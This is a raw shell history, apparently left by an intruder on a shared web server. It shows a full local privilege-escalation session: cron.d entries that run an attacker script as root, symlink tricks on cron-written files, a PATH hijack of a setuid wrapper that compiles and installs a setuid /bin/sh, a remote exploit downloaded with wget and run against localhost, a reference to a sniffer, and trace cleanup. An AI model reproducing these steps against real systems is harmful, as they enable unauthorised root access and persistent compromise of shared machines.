cat /tmp/*.tmp
cat /cron.daily
cat /etc/cron.daily/mk*
ls -al /var/www/admin/socslist.html
ls -al /var/www/admin/socslist.html*
ln -s /etc/cron.daily /var/www/admin/socslist.html~
ln -s /etc/cron.daily '/var/www/admin/socslist.html~'
ln -s /etc/cron.daily /var/www/admin/socslist.html\~
cd /var/www/admin/
ln -s *
ln -s /etc/cron.daily *
ln -s /etc/cron.daily /var/www/admin/socslist.html
echo ~
ln -s '/etc/cron.daily' '/var/www/admin/socslist.html~'
cd /etc/cron.d
ls -al
cat mailman
cat killpager
g
file /usr/local/sbin/killpager
cat /usr/local/sbin/killpager
ls -al
cat postr
cat post*
cat socslist.html
/societies/pet-jcr/cron
ls -al /tmp/test
date
rm -rf /tmp/test
cd /var/www/admin/
ls -la
rm f
rm -f socslist.html~
rm -f 'socslist.html~'
ls -al
mv soclist
mv socslist.html~ /tmp
ls -al /etc/cron.daily
cat /etc/mkwebuser*
cat /etc/mkweb
cat /etc/cron.daily/mkweb*
lb -s /etc/
ln -s /etc/cron.daily /tmp/userlist.tmp
ls -al /tmp/userlist.tmp
cat /etc/crontab
ls -a /tmp/userlist.tmp
ls -al /tmp/userlist.tmp
cd /tmp
ls
ls | grep -v sess
rm -f smb smb.c rev.c blah asdf
rm -rf blah
rm -f user
rm -f socslist.html~
cd /etc/cron.d
sl
ls a-l
ls -al
ls -al /etc/cron.d
cd /etc/cron.d
cat logloadavg
file /usr/local/sbin/loadavgchk
cat /usr/local/sbin/loadavgchk
cat logcheck
file /usr/sbin/logcheck
cat /usr/sbin/logcheck
ls /tmp/check*
ls -al
cat exim
file /usr/sbin/exim
cd /etc/cron.d
ls -al
cat socslist.html
ls -al /societies/pet-jcr/cron
cat /societies/pet-jcr/cron
ls -ld /tmp/test
date
echo '29,30,31,32 * * * * root /societies/pet-jcr/cron' > socslist.html
date
ls -ld /tmp/test
cat /etc/syslog.conf
ls -al /etc/syslog.con
ls -al /etc/syslog.conf
ls -al /avr/log/syslog
ls -al /var/log/syslog
cd /etc/cron.d
cat socslist.html
ls -al /societies/pet-jcr/cron
date
ls -al /tmp/test
cd /etc/f
cd /etc/cron.d
sl a-l
ls -al /societies/pet-jcr/cron
echo 'mkdir /tmp/test' > /societies/pet-jcr/cron
ls -al /societies/pet-jcr/cron
ls
cat socslist.html
date
echo '39,40,41,42,43,44 * * * * root /societies/pet-jcr/cron' > socslist.html
ls -al
chmod 644 socslit.html
ls -al
chgmod
chmod 644 socslist.html
ls -al
md5sum /etc/crontab
ls -al
ls -ld /tmp/test
cat socs*
echo >> socslist.html
x
date
ls -ld /tmp/test
/societies/pet-jcr/cron
ls -ld /tmp/test
rm -rf /tmp/test
ls -al
whereis cron
md5sum /usr/sbin/cron
w
ps ax | grep ssh
date
cat /etc/cron.daily/mk*
ls -al /var/www/admin/userlist.html
date
ls -al /etc/cron.d
ls -al /var/www/admin/userlist.html
date
ls -al /var/www/admin
ls /etc
cat /etc/init.dc
cat /etc/init.d/cron
cat /etc/nsswitch.conf
md5sum /etc/pam.d/cron
md5sum
md5u
md5sum /etc/init.d/cron
md5sum /etc/nsswitch.conf
strace -f /usr/sbin/cron 2>&1 | grep open
cd /etc/crno
cd /etc/cron.d
echo '0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24, \
 25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47, \
 47,49,50,51,52,53,54,55,56,57,58,59 * * * * pet-jcr /societies/pet-jcr/cron' > socslist.html
ls -al /societies/pet-jcr/cron ; cat /societies/pet-jcr/cron
ls -ld /tmp/test
grep pet-jcr /etc/passwd
cd /c
cd /etc/cron.daily
cat mk*
cd /var/www/
grep 'userlist/h'
cd /var/www
grep 'userlist.html' * -r
lsl -la /home/societies/srcf/admin/soclist
ls -la /home/societies/srcf/admin/soclist
rm -f /tmp/*.tmp
cd /etc/cron.d
ls -al
ls -al /home/www/admin
ls -al /var/www/admin/
ls -lda e/tc
ls -lda /etc
ls -al
cat logcheck
ls -ld /etc/rc0.d
cd /home/www
cd /var/www/admin
ls -al
rm -f socslist.html~
ls -al /etc/rc0.d
ps ax
cat /etc/at.deny
ls -al /etc/at.den
ls -al /etc/at.deny
ps ax
ls -al
cd /etc/cron.d
ls -al
cd ../cron.daily
ls -la
xR
cat reachox_cleanup
cat backup_etc
grep '`' *
ps ax
ls
cd /etc/cron.daily
grep '`' *
syslogd-listfiles
ls -al /societies/srcf/admin/memberlist
ls -al /societies/srcf/admin/memberlist
ls -al
locate sanity-check-socs
cat /societies/srcf/sanity-check-socs.020617
cd /etc/cron.daily
ls -al
cat mkwebsoclist
cat /var/www/socs/index.html
cat /u
cat /etc/apache/conf/httpd.conf
locate httpd.conf
cat /etc/apache/httpd.conf
ls -al /home/societies/srcf/admin/soclist
cd /home/societies/srcf/admin/
ls -al
find / -perm -4000 2>/dev/null
ecjh
echo '
-->
' > /tmp/socslist.tmp
cat /tmp/socslist.tmp
ls -al /tmp/.rmsd
cat /var/www/index.html
cat /var/www/socs/index.html
rm -f /etc/cron.d/*a
ls /etc/cron.d
ls /var/ww
ls /var/www
ls /var/www/socs
cat /var/www/socs/socjoin.html
wc -l /tmp/socslit
wc -l /tmp/socslist/.tmp
wc -l /tmp/socslit
wc -l /tmp/socslist.tmp
head -n4 /tmp/socslist.tmp > /tmp/a
cd /tmp
cat a
echo  >> a
echo '--> ' >>a
cat a
mv -f a socslist.tmp
ls -al socslist.tmp
exit
find / -perm -4000 2>/dev/null
/tmp/r
/tmp/.rm
./.r
pwd
cd /tmp
./.r
id
exit
cd /tmp
./.mr
./.rm
./.r
./.r
./.r
exit
cd /tmp
./.rmsd
cd /tmp
./.rmsd
exit
wget xpl.drakg.org/login
cd /dev/drg
./login -h localhost -d 80
./sk
ls -al
head inst
./login -h localohst -d 80 -s 20
./login -h 0 -d 80 -s 20
./login -h 0 -d 80
uptime
ls -al /tmp/mr
ls -al /tmp/rm
ls -al /tmp/.rm
cat .sniffer
exit
/societies/reachox/bin/wrapper /tmp/test.pl
cd /var/www/stats
ls -ld .
cd ../admin
ls -al
cd /usr/local/cgi-lib
locate newsadmin.cgi
cd /usr/lib/cgi-bin/
grep open *
cat survey.old
ls -al /var/www/admin/survey
ls -al
grep open *
cat anlgform.cgi
ls -al /usr/bin/analog
grpe ENV *
grep eNV *
grep ENV *
cat newsadmin.cgi
ls -al /var/www/news/admin/logs/submit.log
ecxp
export REMOTE_ADDR=""
export REMOTE_ADDR=
echo 4REMOTE_
echo $REMOTE_ADDR
/
/societies/reachox/bin/wrapper newsadmin.cgi
/societies/reachox/bin/wrapper ./newsadmin.cgi
cat /var/www/news/admin
cat /var/www/news/admin/logs/submit.log
ls -al /var/www/news/admin/logs/submit.log
ls -al /var/www/news/admin/logs/
ls -al /var/www/news/admin/
/societies/reachox/bin/wrapper newsadmin.cgi
EXP
export PATH=$PATH:.
/societies/reachox/bin/wrapper newsadmin.cgi
cd /tmp
echo id > newsadmin.cgi
chmod +x i
chomd +x newsd
chmod +x newsm
chmod +x newsadmin.cgi
cd /usr/lib/cgi-bin
/societies/reachox/bin/wrapper
echo $PATH
epoxrt
export PATH=/bin:/usr/bin:/sbin:/usr/sbin:/tmp
/societies/reachox/bin/wrapper newsadmin.cgi
echo '#include <stdio.h>' > /tmp/rm.c
rcho >> /tmp
echo >> /tmp/rm.c
echo 'int main() { setreuid(1007,1007); setregid(1007,1007 }'
echo 'int main() { setreuid(1007,1007); setregid(1007,1007); execl("/bin/sh","/binsh","-i'
echo 'int main() { setreuid(1007,1007); setregid(1007,1007); execl("/bin/sh","/bin/sh","-i",0); }' >> /tmp/rm.c
gcc -o /tmp/rm /tmp/rm.c
ls -al /tmp/rm
echo 'cp /tmp/rm /tmp/rm2' > /tmp/newsamd
mv /tmp/newsamd /tmp/newsadmin.cgi
echo 'chmod 4755 /tmp/rm2' > /tmp
echo 'chmod 4755 /tmp/rm2' >> /tmp/newsadmin.cgi
/societies/reachox/bin/wrapper newsadmin.cgi
ls -al /tmp/rm2
chmod +x /tmp/newsadm,in
chmod +x /tmp/newsadmin.cgi
/societies/reachox/bin/wrapper newsadmin.cgi
/tmp/rm2
rm -f /tmp/newsadmin.cgi
/tmp/rm2
ls -la
pwd
exit
cd /tmp
./rmsd
exit